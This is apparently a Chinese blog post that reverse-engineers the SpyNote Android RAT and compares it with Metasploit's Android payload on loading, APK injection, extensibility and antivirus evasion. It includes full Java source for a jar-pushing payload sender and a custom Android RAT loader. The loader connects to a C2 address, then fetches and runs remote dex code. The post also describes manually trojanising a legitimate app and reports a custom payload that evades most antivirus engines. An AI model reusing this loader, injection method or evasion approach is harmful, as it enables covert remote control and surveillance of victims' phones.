文章作者:MG1937
QQ:3496925334
CSDN_ID:ALDYS4
未經許可,禁止轉載
前言
說起SpyNote大家自然不陌生,這款惡意遠控軟件被利用在各種攻擊場景中
甚至是最近也捕獲到了利用"新冠病毒"進行傳播的SpyNote樣本
方便的Gui操作頁面,行雲流水的攻擊過程...
但它真有那麼優秀以至於無懈可擊嗎?
著名滲透測試框架Metasploit中的安卓載荷和它相比到底如何呢?
文章目錄
- SpyNote運行流程分析
- Payload加載流程比對
- APK注入流程比對
- 靈活性與可擴展性比對
- 免殺難易程度比對
SpyNote運行流程分析
先利用SpyNote輸出一個受控端APK
如圖,程序主入口爲 yps.eton.application.M
跟進
程序最終會進入第一處標記處,直接啓動A類服務
若在輸出APK時在SpyNote中選中了防用戶卸載選項,程序還會繼續向下進入第二處分支
嘗試申請權限並接管設備管理器
跟進A類服務
如圖,A方法重寫onCreate方法後立刻調用startForeground
方法在前臺彈出一個通知欄
從而使自身應用對用戶"可見",藉此提高系統優先級進行保活(雖然Android6.0以後保活基本不可能實現了)
在該方法內繼續向下執行,程序進入a方法
a方法體的開始,程序又會進入j方法中
如圖,j方法體嘗試獲取root權限,並用獲取了root權限的Runtime
實體嘗試輸出文件,以此判斷應用是否擁有最高權限
跳出j方法,程序進入h方法體,到此爲止,Payload才被正式加載
跟進h方法
h方法體新建立了一個線程,方便進行網絡操作
繼續向下執行至標記處,程序獲取了鍵爲"ArrayDns_Key"
中的值,而該鍵的值正是C2的地址與端口
繼續向下執行,C2地址被分別賦予n成員
繼續向下執行,程序將n成員中的C2地址與端口提取出來,實體化一個InetSocketAddress
實例並傳入
在第二處標記處,程序就正式向C2地址建立連接了
請注意,在第三處標記點,q成員被賦予C2地址的IO流,此處執行在下面還會有體現
接下來程序進入i方法體,該方法體與Payload的加載密切相關
由於JADX
沒能成功反編譯i方法,故使用JDCORE
繼續進行操作
i方法體內,程序同樣新建立一個線程,讀圖可以很容易看出在此線程內程序就嘗試接管電源與網絡控制器了
繼續向下看
此處的m方法在編輯器中並沒有找到,大概是因爲反編譯工具的問題,所以此處從smali層直接閱讀代碼
首先在smali中找到i方法體,可以看到A$25.smali
文件正是程序建立線程的地方
跟進
在該smali文件中我找到之前的那處執行,可以看見m方法體需要傳入一個A類成員,並且返回對象爲BufferedReader
找到m方法
可見m方法返回了q成員,正是與C2地址建立連接的IO流對象
這裏我將反編譯工具沒有正常顯示但仍然需要用到的方法全部展示一遍
b方法:將傳入的參數存入o成員
n方法:取出o成員
將幾個會用到的方法展示完成後繼續查看代碼
如圖,第一處標記程序將取出與C2地址的IO流並檢查連接是否建立
接着在第二處標記程序讀出IO流中的數據,暫時存入i成員
繼續向下執行,程序在讀出IO流中的數據後轉換爲String
,並最終利用b方法存入o成員
在最後一處標記點,程序檢查o成員是否以"c2x2824x82..."
開頭和結尾,若不是則繼續循環上面的步驟
這裏不難看出受控端與C2地址傳輸信息的方式是以某些特殊字符作爲標記,並以此區分哪些是C2下達的指令
繼續執行,程序會將C2傳輸來的信息與寫死在本地的字符進行比較,以此來執行C2想讓傀儡機執行的代碼
例如傳輸來的信息如果是"shell_terminal"
程序將會進入如下分支
最終程序將執行j類的a方法體
通讀代碼不難得出該方法就是在本機執行任意代碼並向C2地址回傳命令的回顯
至此,SpyNote
的運行流程分析完畢
Payload加載流程比對
SpyNote
從上面的SpyNote分析過程來看
SpyNote
加載惡意代碼的方法很直接但卻十分笨拙
如流程圖所示
SpyNote的工作僅僅是接收命令,執行命令,回傳命令
明明非常簡單,但又爲什麼說它十分笨拙?
將代碼”全部寫死在本地,時機適當時予以調用“的執行方式的確很簡單
但隨之而來的代價就是極高度的代碼耦合與極其不便捷的維護與軟件升級
以這種方式加載代碼完全沒有考慮到中馬機適應C2功能升級的情況!
試想一下,若控制端與中馬機的通訊方式更新,老舊的中馬機不但不能隨之得到及時的功能更新
反而還可能因爲無法解析新的通訊方式而與控制端失去聯繫
Metasploit
關於安卓載荷的運行流程
可以查看我之前寫的一篇博文
【逆向&編程實戰】Metasploit安卓載荷運行流程分析
這裏簡要介紹一下它加載Payload
的核心方法
看到圖中用箭標所指處的對象了嗎?DexClassLoader
是的,這就是Metasploit安卓載荷
加載Payload的核心
不會吧不會吧?就這? 這就是所謂的加載方式?你tm在逗我?
好吧,先來看看官方文檔中對這個對象如何進行解釋
AndroidDocument-DexClassLoader
如標記處所講,DexClassLoader
可以從jar
或apk
文件中動態執行自身應用中不存在的class
文件
若看過我之前那篇對安卓載荷的分析,就已經可以清楚地知道Payload
的加載方式
如果要用一句話對這種加載方式進行描述,那就是複雜但卻十分靈活
其中DexClassLoader
對象有着極大的靈活性與操作空間
這種加載方式幾乎使得載荷與C2服務器分別成爲兩個獨立的個體
C2服務器中遠控功能的更新幾乎不需要與中馬機進行任何互動
因爲再怎麼更新功能,只要將Jar文件傳入載荷,載荷都會乖乖地動態加載其中的代碼
倒不如說這種代碼耦合性極低的運行方式反而使得SpyNote
更加顯得臃腫和笨拙
APK注入流程比對
SpyNote
SpyNote的客戶端帶有一個將惡意代碼與其他正常軟件合併的功能
注入測試用的Apk就用我17年左右開發的漫畫軟件罷(半成品,開發到一半服務器被牆了就沒再動過這個項目)
如圖,這就是輸出的Apk,不過感覺樣子好像沒變
總之先上傳到沙箱裏看看
檢出率完全沒有任何變化?!
感到理解不能的我隨之將輸出的Apk進行再次反編譯
依然跟進主入口
入口函數會獲取自身資源中的merge_file
進行初步判斷
最終程序將進入箭頭所標的分支
跟進b方法
在第一處紅線標記處,程序獲取了自身raw
資源中google
文件的IO流
接着在本地以base.apk
的形式輸出
最終實例化一個Intent
對象通知系統安裝輸出在本地的base.apk
查看raw文件夾中的google.apk
什麼?!這不就是我想要注入的Apk嗎?
到頭來Spynote只是將Apk寫入raw
資源文件裏
接着受害者啓動受控端的時候再輸出正常應用並安裝
你在逗我嗎?這種可有可無的注入?這也太無能了吧?!
連惡意代碼也完全沒有變化,檢出率當然不會改變了
好吧,既然SpyNote所謂的注入只是在資源文件層面的簡單替換操作
那我就手動將惡意代碼寫入Apk後再進行總結吧
注入思路
將惡意代碼寫入正常Apk的流程不再過多闡述
這裏只闡述關鍵步驟
由於SpyNote的受控端很多代碼都需要從R文件中獲取指定的資源文件
比如獲取C2服務器的地址就需要從string
資源文件中獲取鍵爲host
的值
所以在複製指定資源文件到正常軟件中時同樣也要修改Smali代碼中R.smali
對資源文件的聲明
手動在R.smali
中分別聲明瞭6個需要用到的資源文件
接着在需要調用到這些資源文件的代碼依次替換這些資源所指向的值
但是完成這些並沒有結束
受控端的代碼還調用到了經過混淆的android-v7
庫
只有將這個v7庫再次插入應用的Smali層,接着在惡意Smali代碼中引用才能使得軟件正常運行
該步驟不再進行闡述
回編譯後安裝測試
可見在軟件正常運行的同時Spynote上線
上傳雲沙箱
檢出率下降到4
接下來對SpyNote的注入流程進行總結
SpyNote客戶端所謂的"注入"與其說是注入,倒不如說只是套了個可有可無的殼子,連雞肋都算不上
而手動注入時由於SpyNote
在多處調用到了資源文件,使得手動注入的過程變得十分繁瑣
光是Debug
就花去了我十幾分鍾,明明可以在Smali
層進行操作,卻要將關鍵數據寫進資源文件的反智行爲實在讓我困擾
Metasploit
我想msfvenom
的注入功能不用過多闡述
這裏只簡要闡述一下
依然使用之前的Apk測試注入功能
雲沙箱的3
檢出率還算差強人意
反編譯輸出的Apk
儘管是幾年前開發的軟件,但整個軟件的結構我仍然能夠記起
圖中標記處就是msfvenom
在清單文件中注入的信息
從後兩處標記處不難得出這兩處就是類名與包名混淆過的惡意代碼
在程序入口處被注入了惡意代碼的入口
可以直接跟進到Payload加載處
這裏Payload就已經加載了,不再過多描述
惡意代碼的整個注入過程可謂是行雲流水
沒有多餘沉澱的資源文件,所有關鍵信息全部都保存在Smali
層
惡意代碼的運行更是避免了調用到其他第三方類庫,大大降低了代碼耦合程度和注入複雜度
僅僅需要在適當時機調用惡意函數的入口,十分方便
相比SpyNote
多餘的代碼和文件就使得注入過程十分繁瑣,不僅要手動聲明資源
而惡意函數調用到的其他第三方類庫還經過了混淆,這樣就不得不再次將類庫重新寫入正常Apk
增大了軟件體積。反而如果少了這種無意義的操作,軟件還無法運行
靈活性與可擴展性比對
SpyNote
抱歉,對於SpyNote來說,它幾乎沒有靈活性和擴展性可言!
這就是將惡意代碼全部寫死在本地的後果!
如果要擴展惡意代碼的功能,那麼就必須相應地更新控制端的代碼以適應受控端的代碼!
若是要擴展控制端的功能,那麼就要相應地重寫受控端代碼!
SpyNote極高的代碼耦合度
和操作的極其不便利程度
使得對SpyNote進行二次開發繁瑣到幾乎不可能
可謂是牽一髮而動全身!
Metasploit
關於靈活性和可擴展程度,Metasploit可謂是幾乎毫無疑問的完全站所有遠控軟件的上風
爲什麼這麼說?還記得安卓載荷加載惡意代碼的核心方法嗎?對,就是DexClassLoader
對象
這個對象的實現功能可謂是給二次開發帶來了極大的便利,我甚至不需要更新Msf自帶的安卓載荷
就可以輕鬆實現在載荷上執行我所設想的新功能
由此我開發了一個載荷發送工具以便實現我想要的效果
開發原理與思路完全可以參照我上面所提到的之前寫的一篇博文:
【逆向&編程實戰】Metasploit安卓載荷運行流程分析_復現meterpreter模塊接管shell
代碼:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;
public class Main {
//Necessary Args
private static String Port,dexLoadPath,dexLength,loadClass;
public static void main(String[] args) {
if(args.length<3) {
System.out.println("Auth:MG1937 CSDN_Blog:Aldys4 QQ:3496925334\nExample:java -jar payloadSender.jar 1937 C:/evil.jar com.evil.Main");
}
else {
Port=args[0];
dexLoadPath=args[1];
loadClass=args[2];
try {
getClient();
} catch (Throwable e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static void getClient() throws Exception {
ServerSocket serverSocket=new ServerSocket(Integer.valueOf(Port));
System.out.println("[*]ServerSocket was built,wait for Connection...");
Socket socket=serverSocket.accept();
System.out.println("[*]"+socket.getInetAddress().toString()+" Has connected!Sending payload...");
Thread.sleep(1000);
sendPayload(new DataOutputStream(socket.getOutputStream()));
}
public static void sendPayload(DataOutputStream outputStream) throws Exception {
File file=new File(dexLoadPath);
byte[] b=readPayload(file);
dexLength=(int)b.length+"";
System.out.println("[*]Send Class Length...");
outputStream.writeInt(Integer.valueOf(loadClass.length()));
System.out.println("[*]Send Class you want to load...");
outputStream.write(loadClass.getBytes());
Thread.sleep(1000);
System.out.println("[*]Send Payload Length...");
outputStream.writeInt(Integer.valueOf(dexLength));
System.out.println("[*]Send Payload...");
outputStream.write(b);
System.out.println("[*]DONE!");
}
public static byte[] readPayload(File file) throws Exception {
try {
int length = (int) file.length();
byte[] data = new byte[length];
new FileInputStream(file).read(data);
return data;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
簡要描述一下這個工具的功能
依據載荷接收Jar和動態加載其中Dex的具體流程而開發的進行下發惡意Jar的工具
工具編寫完成,接下來構造一個可被載荷執行的惡意Jar
如圖,惡意代碼的功能很簡單
利用反射獲取載荷的Context
實例
接着實例化一個Intent
對象,並通過這個對象打開我所指定的網址
編譯Apk文件,取出其中的Dex
文件
如圖,利用d2j
與dx
將dex文件重新打包成可被DexClassLoader
對象識別的Jar文件
利用工具發送至中馬機進行測試
如圖,當點擊載荷時,自動與工具建立了一個Socket
連接
接着Jar被髮送到載荷上時,瀏覽器自動打開了百度的頁面
測試成功
或許有的人會問了
惡意代碼所獲取的Context
實例的父類不是Application
麼?
那樣的話能執行的命令還是會有限制
比如Application
對象就不能在子線程中調用runOnUIThread
函數操作UI
進程啊!
這還不簡單嗎?
既然載荷加載的核心方法已經知道了
那麼就自己利用這種加載方法再開發一個載荷不就好了
MainActivity.java
getContext.java
如圖,MainActivity
中是用來加載核心代碼的類
而getContext
類則是以靜態方法儲存Context
的類
這麼一來就大概都懂了吧
這樣一來就可以在子線程中任意調用UI函數了!
重新編寫測試用的惡意代碼
如圖,事先在工程裏也創建一個和載荷同包名和類名的getContext
對象
接着在正式編譯時刪除惡意Jar中的getContext
對象,這樣在執行時就會調用載荷裏的Context
對象
這樣一來載荷對象就真正被獲取了
發送載荷,可以看見UI函數被成功操作,彈出了一個警示框
代碼:
MainActivity
public class MainActivity extends Activity {
String ip="192.168.0.104";
String port="1937";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getContext.setContext(this);
new Thread(new Runnable() {
@Override
public void run() {
try {
getC2C();
}catch (Throwable e){}
}
}).start();
}
public void getC2C() throws IOException {
Socket socket=new Socket(ip,Integer.valueOf(port));
InputStream inputStream=socket.getInputStream();
OutputStream outputStream=socket.getOutputStream();
DataInputStream dataInputStream=new DataInputStream(inputStream);
DataOutputStream dataOutputStream=new DataOutputStream(outputStream);
try {
getPayload(dataInputStream,dataOutputStream);
} catch (Throwable e) {
e.printStackTrace();
}
}
public void getPayload(DataInputStream dataInputStream,DataOutputStream dataOutputStream) throws Exception {
final String str = this.getFilesDir().toString();
String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String str3 = str2 + ".jar";
String str4 = str2 + ".dex";
String str5 = new String(getPayload(dataInputStream));
System.out.println(str5);
byte[] a2 = getPayload(dataInputStream);
System.out.println("byte get!");
this.getResources().getString(R.string.app_name);
File file = new File(str3);
if (!file.exists()) {
file.createNewFile();
}
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(a2);
fileOutputStream.flush();
fileOutputStream.close();
Class loadClass = new DexClassLoader(str3, str, str, MainActivity.class.getClassLoader()).loadClass(str5);
Object newInstance = loadClass.newInstance();
file.delete();
new File(str4).delete();
loadClass.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, Object[].class}).invoke(newInstance, new Object[]{dataInputStream, dataOutputStream, new Object[]{str,null}});
}
public byte[] getPayload(DataInputStream dataInputStream) throws Exception {
int readInt = dataInputStream.readInt();
byte[] bArr = new byte[readInt];
int i = 0;
while (i < readInt) {
int read = dataInputStream.read(bArr, i, readInt - i);
if (read < 0) {
throw new Exception();
}
i += read;
}
return bArr;
}
}
getContext
public class getContext {
static public Context context_=null;
static public void setContext(Context context){
context_=context;
}
static public Context getContext_(){return context_;}
}
從載荷發送工具編寫到自主開發遠控載荷的流程來看
Metasploit
的可擴展性和靈活程度是當之無愧的
相比起SpyNote
那種幾乎無二次開發與擴展可能的遠控工具來看簡直是高下立判
免殺難易程度比對
SpyNote
由於SpyNote的代碼高耦合度
,所有惡意代碼都寫在本地使得病毒特徵明顯
免殺似乎只能從Dex加殼的層面下手
這裏不細講
Metasploit
幾乎開放式的惡意Jar動態加載過程不僅方便了二次開發
甚至是源碼級免殺也能輕鬆實現
將在上一個模塊我自主開發的載荷傳入雲沙箱
可以看到僅僅只有一檢出率
bypass
了國內大多數主流反病毒軟件
免殺效果可以說是非常理想了
總結
從三個方面去對比和分析這兩款遠控工具
結果無一例外Metasploit
都完全佔在上風
若要把SpyNote
比作是一把利劍的話,劍客就得去適應其劍身和握柄.
那麼Metasploit
就是一塊可以隨意改造的模板,這個模板怎麼使用全看鑄劍人的意願
可以說Metasploit
是一款開放性很強又極其靈活的工具,而SpyNote
只能算是被組裝好的自動化武器,
它的拆卸,改裝都很麻煩,似乎只能隨着原開發者的意願去使用
所以Metasploit
可以說是當代當之無愧的幾乎所有遠控工具的巔峯!